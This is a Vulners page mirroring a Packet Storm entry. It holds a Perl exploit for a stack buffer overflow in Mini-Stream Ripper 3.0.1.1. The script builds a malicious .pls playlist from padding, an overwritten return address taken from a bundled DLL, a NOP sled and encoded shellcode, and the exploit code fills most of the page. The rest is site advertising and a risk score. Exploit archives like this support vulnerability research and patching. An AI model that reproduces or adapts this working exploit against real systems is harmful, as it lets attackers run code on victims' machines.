Lucene search
K

Mini-Stream Ripper 3.0.1.1 Buffer Overflow

🗓️ 30 Dec 2009 00:00:00Reported by JackyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Mini-Stream Ripper v3.0.1.1 Buffer Overflow exploi

Code
`#Mini-Stream Ripper v3.0.1.1 Universal BOF !!!  
#Discovered by ( mr_me) !!!  
#Coded and Written by (Jacky)  
#Greetz to Peter Van Eeckhoutte and all Corelanc0d3r team :D  
#This time i exploited the program and i used as RET address a Universal one from MSRcodec00.dll  
#And i haven't seen anyone using a universal address so i decided to do so ! ;-)  
my $file="crash.pls";  
print "Mini-Stream Ripper 3.0.1.1 Universal BOF vulnerability\n";  
print "Greetz to Peter Van Eeckhoutte and Corelanc0d3r Team\n";  
my $junk="A"x26074;  
my $eip=pack('V',0x0146b87b); #>>>From MSRcodec001.dll (Universal address ;-) )  
my $presc="SEXY"; # 4 Bytes to fill the pre-esp area !  
my $esp="\x90"x25;  
$esp=$esp."\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".  
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57".  
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38".  
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58".  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c".  
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".  
"\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58".  
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34".  
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".  
"\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33".  
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57".  
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a".  
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b".  
"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43".  
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57".  
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49".  
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46".  
"\x4e\x46\x43\x36\x42\x30\x5a";  
  
open(HOLA,">$file");  
print HOLA $junk.$eip.$presc.$esp;  
print "[+] Done!!!\n";  
print "Written By Jacky\n";  
close(HOLA);  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Dec 2009 00:00Current
0.9Low risk
Vulners AI Score0.9
19